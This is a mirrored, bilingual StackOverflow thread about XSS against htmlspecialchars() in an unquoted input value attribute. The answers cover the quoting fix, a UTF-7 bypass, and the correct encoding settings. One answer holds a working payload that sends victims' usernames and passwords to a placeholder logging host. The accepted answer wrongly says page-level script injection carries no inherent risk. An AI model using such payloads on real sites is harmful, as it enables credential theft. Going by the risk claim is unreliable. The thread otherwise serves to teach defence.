php XSS 攻击绕过 value 属性中的 htmlspecialchars() 函数

声明:本页面是StackOverFlow热门问题的中英对照翻译,遵循CC BY-SA 4.0协议,如果您需要使用它,必须同样遵循CC BY-SA许可,注明原文地址和作者信息,同时你必须将它归于原作者(不是我):StackOverFlow 原文地址: http://stackoverflow.com/questions/2894466/
Warning: these are provided under cc-by-sa 4.0 license. You are free to use/share it, But you must attribute it to the original authors (not me): StackOverFlow

提示:将鼠标放在中文语句上可以显示对应的英文。显示中英文
时间:2020-08-25 08:02:38  来源:igfitidea点击:

XSS attack to bypass htmlspecialchars() function in value attribute

phpxsssecurity

提问by Setzer

Let's say we have this form, and the possible part for a user to inject malicious code is this below

假设我们有这个表单,用户注入恶意代码的可能部分如下

...
<input type=text name=username value=
       <?php echo htmlspecialchars($_POST['username']); ?>>
...

We can't simply put a tag, or a javascript:alert(); call, because value will be interpreted as a string, and htmlspecialchars filters out the <,>,',", so We can't close off the value with quotations.

我们不能简单地放置一个标签,或者一个 javascript:alert(); 调用,因为 value 会被解释为字符串,而 htmlspecialchars 过滤掉了 <,>,'," ,所以我们不能用引号将值关闭。

We can use String.fromCode(.....) to get around the quotes, but I still unable to get a simple alert box to pop up.

我们可以使用 String.fromCode(.....) 绕过引号,但我仍然无法弹出一个简单的警告框。

Any ideas?

有任何想法吗?

采纳答案by Daniel

Also, it's important to mention that allowing people to inject HTML or JavaScript into your page (and not your datasource) carries no inherent security risk itself. There already exist browser extensions that allow you to modify the DOM and scripts on web pages, but since it's only client-side, they're the only ones that will know.

此外,值得一提的是,允许人们将 HTML 或 JavaScript 注入您的页面(而不是您的数据源)本身不会带来固有的安全风险。已经存在允许您修改网页上的 DOM 和脚本的浏览器扩展,但由于它只是客户端,因此它们是唯一知道的。

Where XSS becomes a problem is when people a) use it to bypass client-side validation or input filtering or b) when people use it to manipulate input fields (for example, changing the values of OPTION tags in an ACL to grant them permissions they shouldn't have). The ONLY way to prevent against these attacks is to sanitize and validate input on the server-side instead of, or in addition to, client-side validation.

XSS 成为问题的地方是当人们 a) 使用它来绕过客户端验证或输入过滤或 b) 当人们使用它来操作输入字段时(例如,更改 ACL 中 OPTION 标签的值以授予他们权限)应该没有)。防止这些攻击的唯一方法是在服务器端清理和验证输入,而不是客户端验证,或者除了客户端验证之外。

For sanitizing HTML out of input, htmlspecialchars is perfectly adequate unless you WANT to allow certain tags, in which case you can use a library like HTMLPurifier. If you're placing user input in HREF, ONCLICK, or any attribute that allows scripting, you're just asking for trouble.

为了清除输入中的 HTML, htmlspecialchars 是完全足够的,除非您想允许某些标签,在这种情况下,您可以使用像 HTMLPurifier 这样的库。如果您将用户输入置于 HREF、ONCLICK 或任何允许编写脚本的属性中,那么您只是在自找麻烦。

EDIT: Looking at your code, it looks like you aren't quoting your attributes! That's pretty silly. If someone put their username as:

编辑:查看您的代码,看起来您没有引用您的属性!这很愚蠢。如果有人将他们的用户名设为:

john onclick="alert('hacking your megabits!1')"

Then your script would parse as:

然后您的脚本将解析为:

<input type=text name=username value=john onclick="alert('hacking your megabits!1')">

ALWAYS use quotes around attributes. Even if they aren't user-inputted, it's a good habit to get into.

始终在属性周围使用引号。即使它们不是用户输入的,也是一个好习惯。

<input type="text" name="username" value="<?php echo htmlspecialchars($_POST['username']); ?>">

回答by padraicb

There's one way. You aren't passing htmlspecialchars() the third encoding parameter or checking encoding correctly, so:

有一种方法。您没有传递 htmlspecialchars() 第三个编码参数或正确检查编码,因此:

$source = '<script>alert("xss")</script>';
$source = mb_convert_encoding($source, 'UTF-7');
$source = htmlspecialchars($source); //defaults to ISO-8859-1
header('Content-Type: text/html;charset=UTF-7');
echo '<html><head>' . $source . '</head></html>';

Only works if you can a) set the page to output UTF-7 or b) trick the page into doing so (e.g. iframe on a page without a clear charset set). The solution is to ensure all input is of the correct encoding, and that the expected encoding is correctly set on htmlspecialchars().

只有在您可以 a) 将页面设置为输出 UTF-7 或 b) 欺骗页面时才有效(例如,在没有明确字符集的页面上使用 iframe)。解决方案是确保所有输入的编码都正确,并且在 htmlspecialchars() 上正确设置了预期的编码。

How it works? In UTF-7, <>" chars have different code points than UTF-8/ISO/ASCII so they are not escaped unless convert the output to UTF-8 for assurance (see iconv extension).

这个怎么运作?在 UTF-7 中,<>" 字符与 UTF-8/ISO/ASCII 具有不同的代码点,因此它们不会被转义,除非将输出转换为 UTF-8 以确保(请参阅 iconv 扩展)。

回答by SLaks

valueis a normal HTML attribute, and has nothing to do with Javascript.
Therefore, String.fromCharCodeis interpreted as a literal value, and is not executed.

value是一个普通的 HTML 属性,与 Javascript 无关。
因此,String.fromCharCode被解释为文字值,不会被执行。

In order to inject script, you first need to force the parser to close the attribute, which will be difficult to do without >'".

为了注入脚本,你首先需要强制解析器关闭属性,如果没有>'".

You forgot to put quotes around the attribute value, so all you need is a space.

您忘记在属性值周围加上引号,因此您只需要一个空格。

Even if you do quote the value, it may still be vulnerable; see this page.

即使您确实引用了该值,它仍然可能存在漏洞;看到这个页面

回答by Niklas

Somewhat similar to Daniel's answer, but breaking out of the value=by first setting a dummy value, then adding whitespace to put in the script which runs directly by a trick with autofocus, setting the input field blank and then adds a submit function which runs when the form is submitted, leaking the username and password to an url of my choice, creating strings from the string prototype without quotation (because quotations would be sanitized):

有点类似于丹尼尔的回答,但value=首先设置一个虚拟值,然后添加空格以放入直接通过一个技巧运行的脚本中autofocus,将输入字段设置为空白,然后添加一个提交函数,该函数在表单时运行提交,将用户名和密码泄露到我选择的 url,从字符串原型创建字符串而不使用引号(因为引号会被清理):

<body>

<script type="text/javascript">

function redirectPost(url, data) {
var form = document.createElement('form');
document.body.appendChild(form);
form.method = 'post';
form.action = url;
for (var name in data) {
var input = document.createElement('input');
input.type = 'hidden';
input.name = name;
input.value = data[name];
form.appendChild(input);
}
form.submit();
}

redirectPost('http://f00b4r/b4z/', { login_username: 'a onfocus=document.loginform.login_username.value=null;document.forms[0].onsubmit=function(){fetch(String(/http:/).substring(1).slice(0,-1)+String.fromCharCode(47)+String.fromCharCode(47)+String(/hack.example.com/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/logger/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/log.php?to=haxxx%40example.com%26payload=/).substring(1).slice(0,-1)+document.loginform.login_username.value+String.fromCharCode(44)+document.loginform.login_password.value+String(/%26send_submit=Send+Email/).substring(1).slice(0,-1)).then(null).then(null)}; autofocus= '});
</script>

回答by Aayush Samriya

You cannt exploit that input field which contain that func but you can exploit any btn or paragraph or heading or text near it by: like you can add this on btn -> onclick=alert('Hello')

您不能利用包含该功能的输入字段,但您可以利用它附近的任何 btn 或段落或标题或文本:就像您可以在 btn -> onclick=alert('Hello') 上添加它一样